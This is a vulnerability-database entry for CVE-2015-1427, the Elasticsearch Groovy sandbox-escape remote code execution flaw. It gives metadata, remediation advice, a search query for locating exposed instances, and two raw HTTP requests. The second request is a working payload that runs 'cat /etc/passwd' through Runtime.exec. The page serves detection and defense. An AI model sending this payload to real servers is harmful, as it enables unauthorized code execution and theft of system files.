🔙 목록으로 돌아가기

CVE-2015-1427: ElasticSearch - Remote Code Execution

TitleElasticSearch - Remote Code Execution
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patches and updates provided by ElasticSearch to fix the deserialization vulnerability.
CVSS Score7.5
EPSS Score0.92326
CVE IDCVE-2015-1427
CWE IDCWE-284
Fofa Queryindex_not_found_exception
Tags cve2015 cve packetstorm elastic rce elasticsearch kev vkev vuln

🔍 Vulnerability Description

ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine.

🌐 HTTP Request

POST /website/blog/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 22
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

{

  "name": "test"

}
POST /_search HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Content-Length: 169
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-1427.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-1427.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A